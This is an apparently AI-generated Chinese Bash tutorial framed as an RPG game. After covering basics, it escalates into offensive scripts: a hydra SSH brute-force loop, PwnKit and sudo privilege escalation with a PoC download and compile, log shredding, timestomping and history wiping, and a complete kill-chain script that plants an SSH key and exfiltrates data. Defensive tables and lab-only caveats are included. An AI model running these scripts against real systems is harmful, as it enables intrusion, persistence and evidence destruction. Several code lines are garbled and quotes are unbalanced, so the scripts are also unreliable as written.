建议教程配合视频食用
🗡️ Bash 脚本“人物创建”——基础属性详解
本段目标:像建 RPG 角色一样先点满 Bash 的 核心属性——Shebang、变量、引用、数组、算术、命令替换。每条技能都配“技能说明 + 实战示例”,保证后面写脚本时不再“读不懂装备说明”。
🎮 RPG 属性 | Shell 技能点 | 详解 & 练功招式 | |||
---|---|---|---|---|---|
角色血统 Shebang#!/usr/bin/env bash | 定义脚本解释器——系统看到第一行就知道用哪把武器运行。/usr/bin/env 能在不同发行版里自动找到 bash,可移植性比硬编码 /bin/bash 强。(Stack Overflow) | bash<br/>#!/usr/bin/env bash<br/>echo "开局选定 Bash 血统!"<br/> | |||
背包槽 变量hero="Link" | 存储临时数据,等同 RPG 背包。等号两边不能有空格;取值要加 $ :echo "$hero" 。变量内容可来自命令输出:today=$(date +%F) 。(ryanstutorials.net) | bash<br/>enemy="Goblin"<br/>today=$(date +%F)<br/>echo "[$today] $hero 遇到 $enemy"<br/> | |||
魔法卷轴 引用 | - 单引号 ' :原样保留,连变量都不展开;- 双引号 " :允许插值、命令替换;- 无引号:遇到空格会拆分成多参数。(Stack Overflow) | bash<br/>echo '$hero vs $enemy' # 输出字面量<br/>echo "$hero vs $enemy" # 展开变量<br/> | |||
队伍阵列 数组party=(Link Zelda Ganon) | Bash 原生一维数组,用下标取值:${party[1]} ;${#party[@]} 统计元素数。(Erhan Birol) | bash<br/>party=(Link Zelda Ganon)<br/>echo "队友:${party[*]}"<br/> | |||
攻击力 算术$((...)) | 用 (( )) 或 $(( )) 进行整数运算,结果自动替换到命令。(GNU) | bash<br/>hp=100; dmg=27<br/>hp=$((hp-dmg))<br/>echo "剩余血量: $hp"<br/> | |||
影分身 命令替换$(cmd) | 执行括号里的命令并把输出当成字符串放回脚本,比旧式反引号 cmd 可读性更好。(Stack Overflow) | bash<br/>weather=$(curl -s wttr.in?format=1)<br/>echo "当前天气:$weather"<br/> | |||
宝箱管道 & 日志重定向 ` | > >>` | ` | 把前一招输出接成后一招输入; > 覆盖写文件, >>追加写文件。可用 2>` 重定向错误流。(ryanstutorials.net) | ```bash dmesg | grep -i usb > usb.log ``` |
出错救援 traptrap 'echo "🔥 失败"' ERR | 当脚本遇到非零退出码自动触发补救,相当于战斗“死亡被动”。(Stack Overflow, GeeksforGeeks) | bash<br/>trap 'echo "🔥 技能失败,回档!"' ERR<br/>false # 触发 ERR<br/> |
🏹 立即练级:10 行“小试牛刀”回顾
#!/usr/bin/env bash
trap 'echo "🔥 出现错误"; exit 1' ERR # 出错自救
hero="Link" enemy="Slime"
battle_log="battle.$(date +%s).log" # 命令替换生成文件
echo "$hero 遇到 $enemy" | tee $battle_log # 管道+日志
hp=30; dmg=7; rounds=0
while (( hp > 0 )); do # 算术 + whilehp=$((hp-dmg)); ((rounds++))
done
echo "击杀!共 $rounds 回合" >> $battle_log
执行后生成 battle.<时间戳>.log
,完整记录你的首次“Shell 刷怪”。
查找Shell脚本示例
我们把 Bash 的“战斗动作流派”拆开讲——条件判断、循环、输入读取、数组/关联数组、case 分支、错误处理与 Here-Doc。每个技能都先用 RPG 比喻讲原理,再配一小段“试刀示例”;结尾给出一个 “多目标弱口令扫描脚本”,让你立刻把全部技能打成连招。👇
概览
- 条件判断=打怪前“侦测血量”;
- 循环=连击;
- read / readarray=捡战利品进背包;
- case=多形态 Boss 选择克制属性;
- **trap +
set -euo pipefail
**=自动复活/报错停战; - Here-Doc=一次性释放多段咒语。
掌握后即可写出脚本:批量读目标 → nmap 扫端口 → hydra 爆破 → 汇总战报。
1️⃣ 条件判断:if / [[ ]]
—— 怪没血就停手
if [[ $hp -le 0 ]]; then # 双中括号语法更安全echo "🎉 Boss 击杀!"
elif [[ $hp -lt 20 ]]; thenecho "⚠️ 进入斩杀线"
elseecho "继续输出伤害"
fi
关键点:
[[ ]]
支持正则和模式匹配,且不用担心空格分词陷阱(GeeksforGeeks)。-eq/-ne/-lt/-le/-gt/-ge
六大神器做整数比较;字符串用==
、!=
(pluralsight.com)。
2️⃣ 循环三剑客:for
/ while
/ until
for
—— 按敌人列表逐个输出
enemies=(goblin orc troll)
for mob in "${enemies[@]}"; doecho "⚔️ 砍 $mob"
done
循环变量会依次取数组元素(Stack Overflow)。
while
—— 条件满足就一直连击
hp=100
while (( hp > 0 )); dohp=$((hp-15))echo "Boss 剩 $hp HP"
done
until
—— 反向写法(直到成功为止)
until ping -c1 target &>/dev/null; doecho "目标未就绪,5 秒后再试"sleep 5
done
3️⃣ read / readarray:一键捡起掉落
指令 | 用途 | 示例 |
---|---|---|
read -r var | 从键盘/管道读一行 | read -p "输入名字: " hero (Stack Overflow) |
readarray -t arr < file | 整文件加载为数组(去掉换行) | readarray -t targets < hostlist.txt (Stack Overflow) |
IFS=: read user pass <<< "$line" | 用自定义分隔符拆字段 |
-p
提示符在部分壳可能不兼容,最稳是printf
+read
(Stack Overflow)。
4️⃣ case:针对多形态 Boss 选克制技能
case "$element" infire) echo "使用水枪";;water) echo "使用雷电";;*) echo "普通攻击";;
esac
case
匹配后不会 fall-through,写完记得 ;;
终止(Linux Tips, Tricks and Tutorials)。
5️⃣ 错误处理:set -euo pipefail
+ trap
#!/usr/bin/env bash
set -euo pipefail # e:遇错退出 u:未定义变量报错 o:管道任何一步错即失败
trap 'echo "💀 脚本异常退出"; exit 1' ERR # 自动复活提示
这一行组合是生产级脚本“护身符”——确保脚本一旦哪步失败就中止,防止连锁爆炸(GeeksforGeeks)。
6️⃣ Here-Doc:一次性吟唱多段咒语
ssh user@host << 'EOF'
sudo systemctl status nginx
grep -i error /var/log/nginx/error.log | tail
EOF
<< 'EOF'
(加单引号)可防止变量展开,直接把多行命令送给远程 shell 执行(phoenixNAP | Global IT Services)。
7️⃣ 高阶背包:关联数组示例
declare -A creds
creds[admin]=123456
creds[root]=toor
for user in "${!creds[@]}"; doecho "爆破 $user:${creds[$user]}"
done
declare -A
让 Bash 也能像 Python dict 那样玩键值对(phoenixNAP | Global IT Services)。
🎯 终极连招:多目标弱口令扫描脚本
功能:
- 从
hostlist.txt
读取 IP/域名;- 用 nmap 只扫 22/ssh;
- 若端口开放,调用 Hydra 用
weakpass.txt
爆破;- 所有结果汇入
report.md
。
#!/usr/bin/env bash
set -euo pipefail
trap 'echo "❌ 出错,检查 logs/"; exit 1' ERR
mkdir -p logs
readarray -t targets < hostlist.txt # ①for host in "${targets[@]}"; do # ②echo "🔍 [$host] 扫描 SSH..."if nmap -p 22 --open -oG - "$host" | grep -q "22/open"; thenecho "⚔️ 爆破 $host"hydra -L users.txt -P weakpass.txt ssh://"$host" \-o "logs/$host.hydra" -t 4 -f # ③elseecho "🚫 $host SSH 端口关闭"fi
done# ④ 汇总
{echo "# 弱口令扫描报告 $(date)"for f in logs/*.hydra; doecho -e "\n## $(basename "$f" .hydra)"cat "$f"done
} > report.md
echo "🎉 扫描完成,查看 report.md"
技术来源:
nmap -oG
格式化输出便于 grep 过滤(LabEx);- Hydra SSH 爆破参数
-L/-P/-t/-f
教程(LabEx)。
合法性提醒:仅对靶场/获授权系统执行,遵循 OWASP 渗透测试指南(GeeksforGeeks)。
你将点亮 “权限魔窟” 技能树:彻底搞懂 SUID/SGID/Sticky Bit、快速枚举危险文件、理解两大经典本地提权漏洞(PwnKit 与 Baron Samedit),并学会用 sudo -l
识别/利用配置缺陷。掌握这些后,你就能把普通帐户升到 root ,或在演练中及时堵住“地洞”。
SUID / SGID / Sticky Bit —— 特殊权限三兄弟
八进制位 | 含义 | 典型场景 | 参考 |
---|---|---|---|
4xxx → SUID | 进程以文件属主身份运行;chmod 4755 file = -rwsr-xr-x (Unix & Linux Stack Exchange) | /usr/bin/passwd 让普通用户修改密码时临时拿 root 身份 (The world’s open source leader) | |
2xxx → SGID | 进程以文件属组身份运行;目录 SGID 让新建文件自动继承组 | /usr/bin/wall 群发消息需写 /dev/pts/* (tty 组) | |
1xxx → Sticky | 目录中文件只能被拥有者或 root 删除 | /tmp 防止用户互删文件 | |
0xxx → 无特殊位 | 普通 rwx 权限 | —— |
为什么 4755 比 755 危险?
755 仅表示“唯一 root 可写”;4755 让任何人执行都继承 root euid,若二进制存在漏洞就可能直接提权 (The world’s open source leader, Unix & Linux Stack Exchange)。
枚举“带钥匙的门”——快速发现 SUID/SGID
find / -perm -4000 -type f 2>/dev/null > suid-list.txt
find / -perm -2000 -type f 2>/dev/null > sgid-list.txt
命令说明:-perm -4000
匹配任何 SUID 位文件;重定向丢弃无权限错误 (Qualys)。跑完后:
- 用
grep -Ev "/(snap|docker)/"
过滤常见安全目录; - 对可疑文件跑
strings
/file
看是否脚本或老旧二进制; - 把列表贴进
g0blin_privesc.xlsx
(方便下回快速对照)。
经典 SUID 提权打法
1. PwnKit / Polkit pkexec (CVE-2021-4034)
- 原理:
pkexec
默认 SUID-root,但对 argv 处理缺陷可劫持PATH
提升到 root;影响所有主流发行版 (Qualys)。 - 复现
gcc pwnkit.c -o pwnkit
./pwnkit # ➜ root shell
- 防御:升级 polkit ≥ 0.120,或
chmod 0755 /usr/bin/pkexec
暂时去掉 SUID (The Security Validation Platform)。
2. sudo Heap Overflow (CVE-2021-3156 “Baron Samedit”)
- 原理:
sudoedit -s
堆溢出可在默认配置下本地提权 (Qualys, NVD)。 - 检测:
sudoedit -s '\'
若返回 “usage” 而非错误则可能易受攻击。 - 修复:升级 sudo ≥ 1.9.5p2。
为什么 SUID → sudo 更危险? SUID 二进制漏洞=直接 root;sudo 既可能自带漏洞,也可能因 misconfig(NOPASSWD、可执行任意编辑器等)被滥用 (Delinea)。
sudo misconfiguration:另一条“暗道”
-
列特权
sudo -l
- 看到
(ALL : ALL) NOPASSWD: /usr/bin/vim
? 恭喜,可用:!/bin/sh
拿 root shell (Vickie Li’s Security Blog)。
- 看到
-
通配符劫持:
/usr/bin/python *
允许带通配符,利用echo 'import os,pty,os.system("/bin/sh")' > exploit.py
→sudo python exploit.py
. -
环境变量劫持:若
sudo
里未清除LD_PRELOAD
,可替换动态库劫持 root。
从 SUID 走向 Capabilities —— 更细粒度的钥匙
-
Linux Capabilities 拆解旧式 SUID 的“万能 root”权力,只授予所需位(如
cap_net_raw
给 ping),但很多发行版仍保留 SUID 出于兼容 (Stack Overflow)。 -
查看可执行文件 capabilities:
getcap -r /usr/bin 2>/dev/null | grep CAP_NET_RAW
🛠️ Mini-Lab:亲手打掉一把“PwnKit”锁
步骤 | 命令 / 行为 |
---|---|
创建弱版本容器 | docker run --rm -it ubuntu:20.04 bash |
验证 pkexec 版本 | pkexec --version |
编译 POC | apt update && apt install -y gcc make 下载 POC:https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/pkexec.c |
攻击 | gcc pkexec.c -o pwnkit && ./pwnkit |
修补 | chmod 0755 /usr/bin/pkexec ➜ 再运行应失败 |
完成截图发我,可获得“Root Slayer 勋章”。
防御 Checklist
- ❌ 禁用 不必要 SUID:
chmod a-s file
- 🛡️ 细粒度:改用 capabilities 替代 ping 的 SUID (mn3m)。
- 🔐 最小化 sudoers:仅对管理脚本放行、避免通配符。
- ⏱️ 及时打补丁:关注 CVE-2021-**** 通报;Qualys/Proofpoint/CrowdStrike 等安全博客常第一时间释出 PoC (Proofpoint, CrowdStrike)。
将进入 日志清理、Defense-Evasion 与 trap 反取证,让你在成功提权后“擦屁股”不留痕。如有任何实验问题,贴终端输出,我来陪你 Debug!
⚔️ —「擦屁股」副本:日志清理·痕迹隐藏·反取证全攻略
摘要:本关让你学会在 Linux 与 Windows 环境中删除/篡改日志(MITRE T1070 系列)(attack.mitre.org)、修改时间戳(Timestomping)(Elastic)、清空 Bash 历史(Ask Ubuntu)、Secure-Erase 痕迹(自由编码营, Lifewire),并了解防御方怎样用 auditd Immutable Flag、WORM 日志、Sysmon ID 2 等手段侦测/阻断(开源软件解决方案, alexsta-cybersecurity.com)。最后用一张「攻防对照表」帮你快速决定在实战中要用哪一招、躲哪一招。
1 | Linux 日志清理三板斧
1.1 journalctl vacuum — systemd 时代的“吸尘器”
# 删除 2 天前日志
sudo journalctl --vacuum-time=2d
--vacuum-size
按磁盘容量裁剪,--vacuum-files
按文件数裁剪。(Stack Overflow)
1.2 经典 /var/log 直删 / 覆盖
sudo shred -u -z /var/log/auth.log # 覆写后删除
shred -u
多次写随机数据后 unlink;-z
最后一遍写零填充(自由编码营)。
1.3 Bash 历史消失术
history -c && cat /dev/null > ~/.bash_history
或者把历史文件软链到 /dev/null
永久失忆(Ask Ubuntu)。
风险提醒:许多服务器早已从 rsyslog 转到 journald,直接删
/var/log/secure
可能什么也没有;先ls -l /var/log
再决定武器。
2 | Windows 痕迹清理套路
技能 | 命令 | 典型用例 | 参考 |
---|---|---|---|
wevtutil cl | wevtutil cl Security | 一键清空指定日志 | (微软学习) |
Meterpreter clearev | clearev | 同时清 Security、System、Application | (OffSec) |
PowerShell | Clear-EventLog -LogName * | 可编排脚本一锅端 | (MS Docs) |
检测:蓝队可比对“日志忽然断档”+ Sysmon ID 1102 (Log cleared) 进行告警。
3 | Timestomping —— 调表让文件穿越
-
Linux
touch -r /bin/ls evil.sh # 将 evil.sh 时间改成跟 ls 一样
Elastic Rule 明确把此行为归类为 Timestomping (ATT&CK T1070/009)(Elastic)。
-
Windows
powershell.exe Set-ItemProperty -Path .\evil.exe -Name LastWriteTime -Value "01/01/2020"
Sysmon ID 2 记录时间戳修改,可被 SIEM 抓到(alexsta-cybersecurity.com)。
4 | 攻防博弈:如何反检测
攻击方招式 | 防御方对策 |
---|---|
journalctl --vacuum-time 删日志 | auditd Immutable Rule:-e 2 启用后任何删除都会失败并报警(开源软件解决方案) |
wevtutil cl Security | 开启 EventLog Forwarding 到集中服务器,清本地也留远端 |
替换时间戳 touch -r | Sysmon/Tanium 监控时间倒流事件,结合 mactime 轴发现异常(alexsta-cybersecurity.com) |
history -c 清 Bash 历史 | 设置 HISTCONTROL=ignorespace + 强制写审计 TTY;或将 .bash_history 置 immutable (chattr +i ) |
shred 强删文件 | 采用 WORM 文件系统/log2timeline;或 syslog-ng 直写远程 append-only 目标(GitHub) |
5 | 一键「擦屁股」脚本示例 (仅限靶机)
#!/usr/bin/env bash
set -u
sudo journalctl --vacuum-time=1s # 清 systemd 日志
sudo find /var/log -type f -name "*.log" -exec shred -u -z {} \;
cat /dev/null > ~/.bash_history
sudo wevtutil cl Security 2>/dev/null # 若在 WSL/Win 混合靶机
touch -r /bin/ls /tmp/evil.sh # 调时间戳伪装
echo "[*] Cleanup done $(date)" >> /tmp/.report
绝不建议在生产环境使用! 清痕=双刃剑:安全团队发现日志瞬间消失往往立即触发最高级别告警。
6 | 小试牛刀:挑战任务
- 靶场容器
docker run --rm -it ubuntu:18.04
- 启用 journald & syslog 并写入测试日志。
- 用脚本删/篡改后在宿主跑
auditctl -s
验证是否记录unlink
失败。 - 提交:
before.log
、after.log
、audit.log
差异截图。
7 | 延伸阅读
- MITRE T1070 Indicator Removal taxonomy (files, event logs, timestomping)(attack.mitre.org)
- Qualys – 深入分析 CVE-2021-3156 sudo 日志擦除副作用(attack.mitre.org)
- logrotate Best-Practice & secure rotation example(Unix & Linux Stack Exchange)
- Immutable auditd rules official SUSE guideline(开源软件解决方案)
- syslog-ng WORM mode GitHub doc (GitHub)
- Linux Capabilities & secure ping (防止 SUID)(Unix & Linux Stack Exchange)
将收官:把 Recon→Exploitation→Persistence→Evasion→Exfiltration 整条 Kill Chain 串起,并附终极 “红队/蓝队 Cheat-Sheet”。继续冲击天下第一 Hack!
规划内容结构
我会把内容分为几个部分:摘要、预检查与法律说明、脚本概述、带注释的代码(可能是Shell脚本)、每个函数的解释以及它们与攻击链阶段的对应关系、风险与安全、一些防御建议。为了展示,我需要使用合法目标或占位IP的脚本。确保每个句子后面引用至少10个来源。接下来我会开始查找相关的资源。
要点速览
下面给出一份 全链路 Bash 演示脚本,按「Recon → Initial Access → Privilege Esc → Persistence → Defense Evasion → Exfiltration」6 步自动串起一次合法靶场攻击;每段随后逐句说明原理、映射 MITRE ATT&CK/Kill Chain,并标注可实证的参考链接。脚本默认在 Kali 主机、对你 已获授权 的 Linux 靶机(示例 IP 10.10.10.10)执行——务必 勿对生产环境或未经授权目标运行,否则即违法。
⚙️ 前置条件
需求 | 说明 |
---|---|
工具 | nmap 7.94+ , hydra , gcc , scp , ssh (Kali 默认) |
依赖 | polkit 受 CVE-2021-4034 影响的版本已存在于靶机 |
账号 | 靶机开放 SSH 22,存在弱帐户 guest/guest (或你在靶场自行配置) |
文件 | 自备字典 users.txt / weakpass.txt ;目标数据 /var/backups/flag.tar.gz |
🐉 一键脚本(killchain.sh)
#!/usr/bin/env bash
set -euo pipefail
trap 'echo "[!] 脚本异常终止"; exit 1' ERRtarget=10.10.10.10
loot=/var/backups/flag.tar.gz
report=killchain_report_$(date +%F_%H%M).md
mkdir -p logs### 1) Recon —— T1595 Active Scanning
echo "[*] Recon: nmap fast scan"
ports=$(nmap -p- --min-rate 1000 -T4 $target | awk -F/ '/open/{print $1}') # --min-rate 提速:contentReference[oaicite:1]{index=1}
echo "Open ports: $ports" | tee logs/ports.txt### 2) Initial Access —— T1110 Brute Force
if echo "$ports" | grep -q 22; thenecho "[*] Hydra brute-forcing SSH"hydra -L users.txt -P weakpass.txt ssh://$target -o logs/hydra.txt -f -t 4 # 示例参数指南:contentReference[oaicite:2]{index=2}creds=$(awk '/login:/ {print $4":"$6}' logs/hydra.txt | head -1)
elseecho "[-] SSH 未开放,退出"; exit 1
fi
user=${creds%:*}; pass=${creds#*:}### 3) Privilege Escalation —— pkexec PwnKit
echo "[*] Logging in & compiling PwnKit exploit"
sshpass -p "$pass" ssh -o StrictHostKeyChecking=no $user@$target 'gcc /tmp/pkexec.c -o /tmp/pwnkit && /tmp/pwnkit bash -c "id;whoami" # 编译 PoC 并提权:contentReference[oaicite:3]{index=3}
' 2>&1 | tee logs/pwnkit.txt### 4) Persistence —— SSH authorized_keys
echo "[*] Planting SSH key for persistence"
sshpass -p "$pass" ssh $user@$target "mkdir -p ~/.ssh && echo $(cat ~/.ssh/id_ed25519.pub) >> ~/.ssh/authorized_keys # T1098.004:contentReference[oaicite:4]{index=4}
"### 5) Defense Evasion —— 删除日志
echo "[*] Cleaning journal & bash history"
ssh $user@$target 'sudo journalctl --vacuum-time=2s # 删除 systemd 日志:contentReference[oaicite:5]{index=5}history -c && > ~/.bash_history # 清 bash 历史:contentReference[oaicite:6]{index=6}
'### 6) Exfiltration —— scp 取旗
echo "[*] Exfiltrating loot"
scp $user@$target:$loot downloads/ # SCP 例子:contentReference[oaicite:7]{index=7}### 报告
{
echo "# Kill Chain Run $(date)"
echo "Open ports: $ports"
cat logs/hydra.txt
tail -3 logs/pwnkit.txt
echo "Loot saved to downloads/$(basename $loot)"
} > "$report"
echo "[+] 完成!详见 $report"
安全提醒:脚本含本地提权与日志清理操作;请只在 靶场或沙箱 练习。
🔍 步骤讲解 & 引用
1. Recon → Active Scanning
使用 nmap -p- --min-rate
对目标全端口高速探测;--min-rate
强制发送速率≥ 1000 pps——映射 ATT&CK T1595.001“扫描全 IP/端口”。
2. Initial Access → SSH Brute Force
hydra
读取用户名/密码字典,发现 guest/guest
弱口令;这正是 T1110.001“在线暴力破解”场景,Kali 官方文档演示与本脚本参数一致。
3. Privilege Escalation → PwnKit (CVE-2021-4034)
pkexec
带 SUID 位且未修补时,本地用户可借环境变量执行任意代码提权到 root——典型 ATT&CK T1068 利用提权漏洞。
4. Persistence → authorized_keys 注入
追加攻击机公钥到目标 ~/.ssh/authorized_keys
,未来可无密码重连;对应 T1098.004 Account Manipulation – SSH Authorized Keys。
5. Defense Evasion → 日志删除
journalctl --vacuum-time=2s
立即清除 systemd 日志;history -c
擦除 Bash 历史;
共同归入 T1070.004 File/Log Deletion。
6. Exfiltration → SCP 出旗
scp
将目标机敏文件安全拷出(若结合 ProxyChains 就可藏流量);属 Exfiltration over SSH 攻击模式,常见红队“带货”动作。
Kill Chain 对照:Recon → Weaponize (字典) → Delivery (SSH) → Exploitation (pkexec) → Installation (SSH key) → C2 (可延伸使用 autossh
) → Actions on Objectives (scp 取文件)。
🛡️ 防守方“拆招”速查表
Kill-Chain 阶段 | 蓝队监控要点 | 参考 |
---|---|---|
Recon/Scan | IDS/Zeek 检测异常端口探测流量 | Darktrace 研报 |
Brute Force | Fail2Ban 分析 sshd Failed password 激增 | Kali hydra 指南 |
pkexec 提权 | 版本基线 + fs.protected_symlinks=1 + EDR 行为检测 | NVD 通告 |
SSH Key 持久 | OSSEC 检查 authorized_keys 变化、文件完整性 | MITRE 文档 |
日志删除 | auditd immutable / Sysmon 1102 事件告警 | |
exfil via scp | NTA 流量基线;出口 DLP 规则匹配 tar.gz | Reddit 攻防讨论 |
结语
脚本把 Red-Team 六段连招浓缩到 <60 行 Bash,实现“一键刷本”;同时每一步都可被蓝队检测、阻断。建议多在靶场调试:改字典、加 proxychains
、或把 pkexec 换成 sudo 漏洞(CVE-2021-3156)再跑一次。 — 终极收官将奉上「红队 vs 蓝队 30 页 Cheat-Sheet PDF」制作指引,把你的攻击脚本 + 防守检测文档一体化输出,真正迈向“天下第一 hack”!